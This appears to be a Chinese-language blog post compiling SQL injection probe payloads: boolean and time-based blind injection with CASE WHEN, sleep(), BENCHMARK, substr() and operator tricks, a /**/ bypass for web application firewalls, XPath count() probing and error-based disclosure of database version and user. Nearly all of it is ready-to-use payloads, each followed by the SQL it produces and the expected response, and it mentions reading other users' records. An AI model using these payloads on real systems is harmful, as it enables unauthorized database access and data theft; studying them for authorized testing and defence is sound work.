SQL注入探测语句汇总

首先是我学习到的一些好用的探测语句:

假设场景是post参数里传递了一个参数:&id=1&,这种情况就可以使用下面十分好用的探测语句:

方法一:CASE WHEN...THEN...ELSE...END的使用

尝试语句格式:id=-1 ||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END) &

  当json格式传参时尝试:{"name":"test","id":"-1'||(CASE WHEN 1 LIke 1 THEN 1 ELSE 1/0 END)||'","address":"北京"}//正常

select * from tb_user where id=-1||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END);//正常
select * from tb_user where id=-1||(CASE WHEN 1 like 2 THEN 1 ELSE 1/0 END);//不正常

当-1 ||(CASE WHEN 1 like 1 THEN 1 ELSE 1/0 END) 被带入查询的时候,就如果该语句正常返回id为1的信息,则说明存在注入。WHEN  Like 2 为异常查询,前面为假,后面也为假,故查不到信息。

 

然后进一步探测的话就是使用Like进行模糊匹配,比如'ad%'匹配登录的用户名是否是admin,是的话后面为真,能正常响应结果。不是的话就查不到信息。

尝试语句格式:&id=-1||(CASE WHEN loginName like 'ad%' THEN 1 ELSE 1/0 END)&
当json格式传参时尝试:{"name":"test","id":"-1'||(CASE WHEN 1 LIke 'ad%' THEN 1 ELSE 1/0 END)||'","address":"北京"}//正常
select * from tb_user where id=-1||(CASE WHEN loginName like 'ad%' THEN 1 ELSE 1/0 END);//正常
select * from tb_user where id=-1||(CASE WHEN loginName like 'd%' THEN 1 ELSE 1/0 END);//不正常

 

 

方法二:另一种除的回显方式

尝试语句格式:&id=-1||1/1&正常
select * from tb_user where id=-1||1/0;//不正常
select * from tb_user where id=-1||1/1;//正常

 

 

方法三:另一种=的回显方式


尝试语句格式:&id=-1||1=1&//正常
select * from tb_user where id=-1||1=1;//正常
select * from tb_user where id=-1||1=2;//不正常

 

 

方法四:另一种-号的回显方式


尝试语句格式:&id=-1||1=1&//正常
select * from tb_user where id=-1||1-2;//正常
select * from tb_user where id=-1||1-1;//不正常

 

方法五:另一种*号的回显方式

尝试语句格式:&id=-1||1*1&//正常
select * from tb_user where id=-1||1*1;//正常
select * from tb_user where id=-1||1*0;//不正常

 

方法六:另一种||的等价替换方式,如果空格被waf拦截就尝试使用我文章中绕waf的其他方法进行空格的替换操作

尝试语句格式:&id=-1 OR 1=1&//正常 
select * from tb_user where id=-1 OR 1=1;//正常 select * from tb_user where id=-1 OR 1=2;//不正常
select * from tb_user  where id=-1/**/OR/**/1=1;//正常

 

 

方法七:sleep()函数的使用,时间的盲注

尝试的语句格式:&id=1 aND sleep(1);//正常回显,时间较长
select * from tb_user where id=1 aND sleep(1);//正常回显,时间较长 select * from tb_user where id=1 aND sleep(0.001);//正常回显,时间较慢

 

 

 方法八:sleep()的等价函数使用,时间盲注

尝试构造语句:&id=-1 || BENCHMARK(10000,md5('a'))&//响应时间正常
&id=-1 || BENCHMARK(10000000,md5('a'))&//响应时间明显变长一些
select * from tb_user  where id=-1 || BENCHMARK(10000,md5('a'));//响应时间正常
select * from tb_user  where id=-1 || BENCHMARK(10000000,md5('a'));//响应时间明显变长

 

 

 

方法九:利用比较属性判断注入

尝试语句格式:&id=-1||'1a'=1&//回显正常
&id=-1||'2a'=1&//回显不正常
select * from tb_user  where id=-1||'1a'=1;
select * from tb_user  where id=-1||'2a'=1;

 

方法十:substr()函数的使用

substr()函数的使用,substr函数为从第几位开始截取,取几位,以下payload的意思是从1开始取1位,后面为真,所以回显正常


以下的"可以改成任意格式的:比如之前sql注入天书里的:' " ) ") ') } "} "") ] "]等
尝试语句格式:&id="-1"||(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id="-1"||(substr((select 1),1,1)=1);
select * from tb_user  where id="-1"||(substr((select 1),1,1)=2);

 

同理,||符号可替换为&符号进行使用,只要掌握了,&前真后面也为真就正常返回,前假后面就不会再执行这个原理即可;然后||的话是前真后面就不会再执行,前假再执行后面的语句;


以下的"可以改成任意格式的:比如之前sql注入天书里的:' " ) ") ') } "} "") ] "]等
尝试语句格式:&id="-1"&(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id="-1"&(substr((select 1),1,1)=1);//回显正常
select * from tb_user  where id="-1"&(substr((select 1),1,1)=2);//回显不正常

 

以下的"可以改成任意格式的:比如之前sql注入天书里的:' " ) ") ') } "} "") ] "]等
尝试语句格式:&id="-1"&&(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id="-1"&&(substr((select 1),1,1)=1);//回显正常
select * from tb_user  where id="-1"&&(substr((select 1),1,1)=2);//回显不正常

 

然后连接符可以改为:= >< <> 等格式:

select * from tb_user  where id=1=(substr((select 1),1,1)=1);
select * from tb_user  where id=1=(substr((select 1),1,1)=2);

 

(1)因为查询的结果=1:
尝试语句格式:&id=1=(substr((select 1),1,1)=2)&//回显正常
尝试语句格式:&id=1<(substr((select 1),1,1)=2)&//回显异常
尝试语句格式:&id=1>(substr((select 1),1,1)=1)&//回显正常
select * from tb_user  where id=1=(substr((select 1),1,1)=1);//回显正常
select * from tb_user  where id=1>(substr((select 1),1,1)=1);//回显异常
select * from tb_user  where id=1<(substr((select 1),1,1)=1);//回显异常

(2)因为查询的结果肯定是大于2这个数的: 尝试语句格式:&id=1>(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1<(substr((select 1),1,1)=2)&//回显异常 select * from tb_user where id=1>(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1<(substr((select 1),1,1)=2);//回显异常 (3)因为查询的结果肯定是不等于1的,为2的时候就回显正常: 尝试语句格式:&id=1<>(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1<>(substr((select 1),1,1)=1)&//回显异常 select * from tb_user where id=1<>(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1<>(substr((select 1),1,1)=1);//回显异常 (4)因为查询的结果前面为真,所以相当于结果是1,如果后面的结果为0,那就会正常返回,不为0的话相当于是1+1查不到2这个id,就会报错,回显不正常, 如果存在2这个id,就会正常回显2的信息,这也算是一个越权查询了 尝试语句格式:&id=1+(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1+(substr((select 1),1,1)=1)&//回显异常,存在id=2时会回显正常,并查询出2的结果 select * from tb_user where id=1+(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1+(substr((select 1),1,1)=1);//回显异常 (5)因为查询的结果前面为真,所以相当于结果是1,如果后面的结果为0,那就会正常返回,不为0的话相当于是1-1查不到0这个id,就会报错,回显不正常, 同理还有-: 尝试语句格式:&id=1-(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1-(substr((select 1),1,1)=1)&//回显异常,存在id为0时将回显正常 select * from tb_user where id=1-(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1-(substr((select 1),1,1)=1);//回显异常 (6)类似的还有*的操作: 尝试语句格式:&id=1*(substr((select 1),1,1)=1)&//回显正常 尝试语句格式:&id=1*(substr((select 1),1,1)=2)&//回显异常,存在id为0时将回显正常 select * from tb_user where id=1*(substr((select 1),1,1)=1);//回显正常 select * from tb_user where id=1*(substr((select 1),1,1)=2);//回显异常 (7)类似的还有/的操作: 尝试语句格式:&id=1/(substr((select 1),1,1)=1)&//回显正常 尝试语句格式:&id=1/(substr((select 1),1,1)=2)&//回显异常,不能1/0 select * from tb_user where id=1/(substr((select 1),1,1)=1);//回显正常 select * from tb_user where id=1/(substr((select 1),1,1)=2);//回显异常
(8)类似的还有^的操作:(异或运算),1异或0就是1,1异或1是0: 尝试语句格式:
&id=1^(substr((select 1),1,1)=2)&//回显正常 尝试语句格式:&id=1^(substr((select 1),1,1)=1)&//回显异常 select * from tb_user where id=1^(substr((select 1),1,1)=2);//回显正常 select * from tb_user where id=1^(substr((select 1),1,1)=1);//回显异常

 

 

 

 

 

 

越权查询id为2的信息:

 

 

 

 

 

 

 

 

方法十一:count()函数的使用

以下针对asxp的xpath类型注入方式:

id=count(/)-0 正常

  id=count(/)-1 报错,说明根节点数量为1

  id=count(/*)-1 报错 说明根节点下只有一个子节点

  判断根节点下的节点长度为15:string-length(name(/*[1]))-15

 

方法十二:报错注入

id=(select%20@@version)
id=(select%20user) //可爆出数据库用户名

 

方法十三:盲注加case when的使用

 

version参数

from=web&version=xxx'||(case when length(user)=8 then '' else 'x' end)||'
条件真
返回Content-Length: 2233,
条件假
返回Content-Length: 497
from=web&version=xxx'||(case when user like 'APP_USER%' then '' else 'x' end)||'
posted @ 2023-03-03 11:11  铺哩  阅读(919)  评论(0编辑  收藏  举报